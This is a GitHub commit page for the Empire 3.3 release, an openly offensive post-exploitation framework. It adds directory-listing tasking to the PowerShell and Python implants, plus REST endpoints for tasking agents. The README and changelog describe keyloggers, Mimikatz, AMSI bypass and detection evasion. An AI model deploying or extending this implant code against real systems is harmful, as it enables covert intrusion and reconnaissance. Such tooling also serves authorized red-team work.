Skip to content

Commit

Permalink
Merge pull request #243 from BC-SECURITY/dev
Browse files Browse the repository at this point in the history
Empire 3.3 Release
  • Loading branch information
Cx01N authored Jul 10, 2020
2 parents 6e2bb66 + 6faf346 commit 7f6a267
Show file tree
Hide file tree
Showing 332 changed files with 3,792 additions and 1,177 deletions.
2 changes: 1 addition & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
data/empire.db
*.db
data/empire-chain.pem
data/empire-priv.key
data/credentials.csv
Expand Down
13 changes: 3 additions & 10 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,14 +14,15 @@ Keep up-to-date on our blog at [https://www.bc-security.org/blog][1]

Check out the Empire GUI: [Starkiller](https://github.com/BC-SECURITY/Starkiller)
# Empire
Empire 3 is a post-exploitation framework that includes a pure-PowerShell 2.0 Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture.
Empire 3 is a post-exploitation framework that includes a pure-PowerShell Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture.

On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premiered at HackMiami 2016. BC-Security presented updates to further evade Microsoft Antimalware Scan Interface (AMSI) and JA3/S signatures at [DEF CON 27](https://github.com/BC-SECURITY/DEFCON27).

Empire relies heavily on the work from several other projects for its underlying functionality. We have tried to call out a few of those people we've interacted with [heavily here](http://www.powershellempire.com/?page_id=2) and have included author/reference link information in the source of each Empire module as appropriate. If we have failed to properly cite existing or prior work, please let us know at [email protected].

Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [@rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), [@xorrior](https://twitter.com/xorrior), and [@bcsecurity1](https://twitter.com/BCSecurity1). While the main fork for Empire is no longer maintained, this fork is maintained by [BC-Security](https://www.bc-security.org) and will continue to receive updates.
Empire is currently being developed and maintainted by [@Cx01N](https://twitter.com/Cx01N_), [@Hubbl3](https://twitter.com/_Hubbl3), & [@Vinnybod](https://twitter.com/AZHalcyon). While the main Empire project is no longer maintained, this fork is maintained by [@bcsecurity1](https://twitter.com/BCSecurity1).

Thank you to the original team of developers: [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [@rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), & [@xorrior](https://twitter.com/xorrior)

## Release Notes
As of Empire 3.1, we will no longer be actively supporting the Python 2.7 base code. If you wish to continue to leverage Python 2.7 then please use the [3.0.x Releases](https://github.com/BC-SECURITY/Empire/releases), since they were built to ensure backward compatibility.
Expand Down Expand Up @@ -78,14 +79,6 @@ All image versions can be found at: https://hub.docker.com/r/bcsecurity/empire/

Check out the [Empire wiki](https://github.com/BC-SECURITY/Empire/wiki/Quickstart) for instructions on getting started with Empire.

## To Do List

* [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy)
* Python 2.7 launchers calling back to Python 3.x
* DNS over HTTPS launcher
* Header randomization
* Integration with [RedELK](https://github.com/outflanknl/RedELK)

## Contribution Rules

Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
Expand Down
2 changes: 1 addition & 1 deletion VERSION
Original file line number Diff line number Diff line change
@@ -1 +1 @@
3.2.3
3.3.0
14 changes: 13 additions & 1 deletion changelog
Original file line number Diff line number Diff line change
@@ -1,6 +1,18 @@
7/10/2020
------------
- Version 3.3.0 Master Release
- Added MITRE Attack Techniques/Software Functionality - #242 (@Cx01N)
- Added keyword obfuscation option to modules - #244 (@Hubbl3)
- Added Invoke-Rubeus - #238 (@Cx01N)
- Added Filescraper commands - #236 (@vinnybod)
- Added AMSIBypass option to modules that generate new agents - #244 (@Hubbl3)
- Fixed timestamp format issue in agents list - #235 (@Cx01N)
- Fixed external/generate_agent generation issue - #240 (@Cx01N)
- Removed unused imports + few random fixes - #241 (@Cx01N)

6/7/2020
------------
- Version 3.2.2 Master Release
- Version 3.2.3 Master Release
- Added Invoke-Seatbelt module - #222 (@Cx01N)
- Added timezone awareness timestamps - #220 (@Vinnybod)
- Added MITRE ATT&CK techniques and software IDs to modules - #223 (@Cx01N)
Expand Down
30 changes: 30 additions & 0 deletions data/agent/agent.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -893,6 +893,36 @@ function Invoke-Empire {
Encode-Packet -type 0 -data '[!] Error in writing file during upload' -ResultID $ResultID
}
}
# directory list
elseif($type -eq 43) {
$output = ""
$path = "/"
if ($data.length -gt 1) { # Use user supplied directory
$path = $data
}
if ($path -eq "/") { # if the path is root, list drives as directories
$array = @()
$drives = Get-PSDrive -PSProvider FileSystem |where {($_.Used -gt 0)} | ForEach-Object {
$array += (@{path = $_.Root; name = $_.Root; is_file = $false})
}
$output = @{directory_name = "/"; directory_path = "/"; items = $array} | ConvertTo-Json -Compress
} elseif (-Not (Test-Path $path -PathType Container)) { # if path doesn't exist
$output = "Directory " + $path + " not found."
} else {
# Normal conditions
$array = @()
Get-ChildItem -force -Path $path -Attributes !directory | foreach-object { $array += (@{ path = $_.FullName; name = $_.Name; is_file = $true }) }
Get-ChildItem -force -Path $path -Attributes directory | foreach-object { $array += (@{ path = $_.FullName; name = $_.Name; is_file = $false }) }
$directory = Get-Item -force -Path $path # this way we always get the backslashes even if user supplied forward slashes
$output = @{ directory_name = $directory.Name; directory_path = $directory.FullName; items = $array } | ConvertTo-Json -Compress

if ($directory -eq $null)
{
$output = "User does not have access to directory " + $path
}
}
Encode-Packet -data $output -type $type -ResultID $ResultID
}

# return the currently running jobs
elseif($type -eq 50) {
Expand Down
26 changes: 25 additions & 1 deletion data/agent/agent.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
import json
import struct
import base64
import subprocess
Expand Down Expand Up @@ -348,6 +349,30 @@ def process_packet(packetType, data, resultID):
except Exception as e:
sendec_datadMessage(build_response_packet(0, "[!] Error in writing file %s during upload: %s" %(filePath, str(e)), resultID))

elif packetType == 43:
# directory list
cmdargs = data

path = '/' # default to root
if cmdargs is not None and cmdargs is not '' and cmdargs is not '/': # strip trailing slash for uniformity
path = cmdargs.rstrip('/')
if path[0] is not '/': # always scan relative to root for uniformity
path = '/{0}'.format(path)
if not os.path.isdir(path):
send_message(build_response_packet(43, 'Directory {} not found.'.format(path), resultID))
items = []
with os.scandir(path) as it:
for entry in it:
items.append({'path': entry.path, 'name': entry.name, 'is_file': entry.is_file()})

result_data = json.dumps({
'directory_name': path if len(path) == 1 else path.split('/')[-1],
'directory_path': path,
'items': items
})

send_message(build_response_packet(43, result_data, resultID))

elif packetType == 50:
# return the currently running jobs
msg = ""
Expand Down Expand Up @@ -939,7 +964,6 @@ def directory_listing(path):

# additional implementation methods
def run_command(command, cmdargs=None):

if re.compile("(ls|dir)").match(command):
if cmdargs == None or not os.path.exists(cmdargs):
cmdargs = '.'
Expand Down
24 changes: 24 additions & 0 deletions data/module_source/credentials/Invoke-Rubeus.ps1

Large diffs are not rendered by default.

9 changes: 3 additions & 6 deletions data/module_source/python/management/socks-src.py
Original file line number Diff line number Diff line change
@@ -1,17 +1,14 @@
#!/usr/bin/env python
from builtins import next
from builtins import hex
from builtins import object
import argparse
import logging
import random
import select
import shlex
import signal
import socket
import ssl
import struct
import sys
from builtins import hex
from builtins import next
from builtins import object

MTYPE_NOOP = 0x00 # No-op. Used for keepalive messages
MTYPE_COPEN = 0x01 # Open Channel messages
Expand Down
Binary file removed data/test_db.db
Binary file not shown.
108 changes: 91 additions & 17 deletions empire
Original file line number Diff line number Diff line change
@@ -1,25 +1,34 @@
#!/usr/bin/env python3

from __future__ import print_function
import sqlite3, argparse, sys, argparse, logging, json, string, subprocess
import os, re, time, signal, copy, base64, pickle, random

import argparse
import base64
import copy
import hashlib
import json
import logging
import os
import pickle
import signal
import sqlite3
import ssl
import subprocess
import sys
import time
from datetime import datetime, timezone
from time import sleep

from flask import Flask, request, jsonify, make_response, abort, url_for, g
from flask.json import JSONEncoder
from time import localtime, strftime, sleep
import hashlib
from OpenSSL import SSL
import ssl
import ast

# Empire imports
from lib.common import empire, helpers, users

# if running in python 2.7 set global utf8 encoding otherwise python 3 is already UTF-8 by default
# Check if running Python 3
if sys.version[0] == '2':
reload(sys)
sys.setdefaultencoding("utf-8")
print(helpers.color("[!] Please use Python 3"))
sys.exit()

global serverExitCommand
serverExitCommand = 'restart'
Expand Down Expand Up @@ -102,7 +111,6 @@ def execute_db_query(conn, query, args=None):
return results


# TODO: Update with new commads
####################################################################
#
# The Empire RESTful API.
Expand Down Expand Up @@ -141,8 +149,11 @@ def execute_db_query(conn, query, args=None):
# DELETE http://localhost:1337/api/agents/stale removes stale agents from the database
# DELETE http://localhost:1337/api/agents/Y removes agent Y from the database
# GET http://localhost:1337/api/agents/Y return the agent with name Y
# GET http://localhost:1337/api/agents/Y/directory return the directory with the name given by the query parameter 'directory'
# POST http://localhost:1337/api/agents/Y/directory task the agent Y to scrape the directory given by the query parameter 'directory'
# GET http://localhost:1337/api/agents/Y/results return tasking results for the agent with name Y
# DELETE http://localhost:1337/api/agents/Y/results deletes the result buffer for agent Y
# GET http://localhost:1337/api/agents/Y/task/Z return the tasking Z for agent Y
# POST http://localhost:1337/api/agents/Y/download task agent Y to download a file
# POST http://localhost:1337/api/agents/Y/upload task agent Y to upload a file
# POST http://localhost:1337/api/agents/Y/shell task agent Y to execute a shell command
Expand Down Expand Up @@ -858,6 +869,46 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,

return jsonify({'agents' : activeAgents})

@app.route('/api/agents/<string:agent_name>/directory', methods=['POST'])
def scrape_agent_directory(agent_name):
directory = '/' if request.args.get('directory') is None else request.args.get('directory')
task_id = main.agents.add_agent_task_db(agent_name, "TASK_DIR_LIST", directory, g.user['id'])
return jsonify({'taskID': task_id})

@app.route('/api/agents/<string:agent_name>/directory', methods=['GET'])
def get_agent_directory(agent_name):
# Would be cool to add a "depth" param
directory = '/' if request.args.get('directory') is None else request.args.get('directory')

found = execute_db_query(conn, "SELECT * FROM file_directory WHERE session_id = ? AND path = ? AND is_file = 0",
[agent_name, directory])
if len(found) == 0:
return make_response(jsonify({'error': "Directory not found."}), 404)

results = execute_db_query(conn, """
SELECT
base.id,
base.session_id,
base.name,
base.path,
base.parent_id,
base.is_file,
p.name,
p.path,
p.parent_id
FROM file_directory base
join file_directory p on base.parent_id = p.id
WHERE base.session_id = ? and p.path = ?
""", [agent_name, directory])

response = []
for result in results:
[id, session_id, name, path, parent_id, is_file, parent_name, parent_path, parent_parent] = result
response.append({'id': id, 'session_id': session_id, 'name': name, 'path': path, 'parent_id': parent_id, 'is_file': bool(is_file),
'parent_name': parent_name, 'parent_path': parent_path, 'parent_parent': parent_parent})

return jsonify({'items': response})

@app.route('/api/agents/<string:agent_name>/results', methods=['GET'])
def get_agent_results(agent_name):
"""
Expand Down Expand Up @@ -900,6 +951,28 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,

return jsonify({'results': agentTaskResults})

@app.route('/api/agents/<string:agent_name>/task/<int:task_id>', methods=['GET'])
def get_task(agent_name, task_id):
results = execute_db_query(conn, """
SELECT
taskings.id AS task,
taskings.data AS command,
results.data AS response,
users.id AS user_id,
users.username AS username
FROM taskings
LEFT JOIN users ON taskings.user_id = users.id
LEFT JOIN results on results.id = taskings.id AND results.agent = taskings.agent
WHERE taskings.agent = ?
AND taskings.id = ?
""", [agent_name, task_id])

if len(results) > 0:
[taskID, command, results, user_id, username] = results[0]
return make_response(jsonify({'taskID': taskID, 'command': command, 'results': results, 'user_id': user_id, 'username': username}))

return make_response(jsonify({'error': 'task not found.'}), 404)

@app.route('/api/agents/<string:agent_name>/results', methods=['DELETE'])
def delete_agent_results(agent_name):
"""
Expand Down Expand Up @@ -1186,12 +1259,13 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
taskID
FROM reporting
WHERE name LIKE 'agent%'
AND reporting.event_type == 'task' OR reporting.event_type == 'checkin') reporting
LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (agent_name = t.agent)
LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (agent_name = r.agent)
JOIN agents a on agent_name = a.session_id
LEFT OUTER JOIN users u on t.user_id = u.id
ORDER BY reporting.timestamp DESC
AND reporting.event_type == 'task' OR reporting.event_type == 'checkin'
) reporting
LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (agent_name = t.agent)
LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (agent_name = r.agent)
JOIN agents a on agent_name = a.session_id
LEFT OUTER JOIN users u on t.user_id = u.id
ORDER BY reporting.timestamp DESC
''')
reportingEvents = []

Expand Down
3 changes: 1 addition & 2 deletions lib/common/ShellcodeRDI.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,9 @@
#!/usr/bin/python3
# Author: Nick Landers (@monogas)

import sys
from struct import pack

import pefile
from struct import pack


def is64BitDLL(bytes):
Expand Down
Loading

0 comments on commit 7f6a267

Please sign in to comment.